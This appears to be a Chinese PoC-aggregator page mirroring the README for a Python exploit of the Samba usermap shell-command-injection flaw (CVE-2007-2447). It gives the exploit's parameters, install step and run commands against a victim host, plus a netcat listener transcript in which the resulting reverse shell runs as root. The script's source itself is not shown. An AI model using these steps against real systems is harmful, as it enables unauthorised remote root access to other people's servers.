POC详情: 167ab209f6868ab0ae5153054c51b8e7f8e954aa

来源
关联漏洞
标题: Samba MS-RPC Shell命令注入漏洞 (CVE-2007-2447)
描述:Samba是Samba团队开发的一套可使UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做连结的自由软件。该软件支持共享打印机、互相传输资料文件等。 Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。 Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执
描述
Samba 3.0.20
介绍
## This exploit helps you to get a reverse shell, exploting Samba 3.0.20 < 3.0.25

· When executing the script with python3 with the --help parameter, it asks us for a series of parameters

     --lhost LHOST  your host   (ip where the shell will be received)
     --lport LPORT  your port   (port where the shell will be received)
     --rhost RHOST  remote host  (ip of the victim machine)
     --rport RPORT  remote port  (port of the victim machine)

· Before run the script do this

    pip3 install pysmb
  
· Example

    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Or you can do 

    python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

· Example of how the script work

    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139 

· We receive the shell

    ❯ nc -nlvp 443
      listening on [any] 443 ...
      connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
      whoami
      root
    
文件快照

[4.0K] /data/pocs/167ab209f6868ab0ae5153054c51b8e7f8e954aa ├── [1023] README.md └── [1.1K] samba_usermap.py 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。